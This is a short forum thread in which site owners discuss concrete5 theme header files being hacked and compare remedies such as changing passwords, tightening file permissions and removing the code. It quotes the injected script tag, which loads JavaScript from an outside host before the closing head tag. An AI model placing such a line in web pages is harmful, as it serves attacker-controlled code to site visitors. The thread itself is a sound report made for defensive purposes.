elements/header.php hacked
PermalinkA couple of my sites have been hacked.
Just before closing the head-section in /themes/themename/elements/header.php, there's a new javascript source injected, which I haven't put there!!!
<script type="text/javascript" src="http://siu.edu.bd/includes/framework.js"></script></head>
Sites where I've named it head.php instead of header.php are OK.
How should we chmod protect our theme files, without breaking the theme?
Best wishes,
Nick
If you update your hosting password, update your C5 password/s and the site gets hacked again, then you'll probably find your host has a vulnerable site hosted on it.
The sites are not on the same account, but they are on the same hosting company! I've informed them.
I'll update all passwords and CHMOD config files to 600.
Also, as an update, only my concrete5 header files are hacked. And it's any concrete5 file that contains the text "header" in it. The word press files that are on the same host are not experiencing the "header" hack. The code being inserted are plain links, nothing special - linking to cheap cialis, etc.
I would remove the script for starters. If you want to change the Header, just copy the header.php, rename it to head.php and then change all the page types.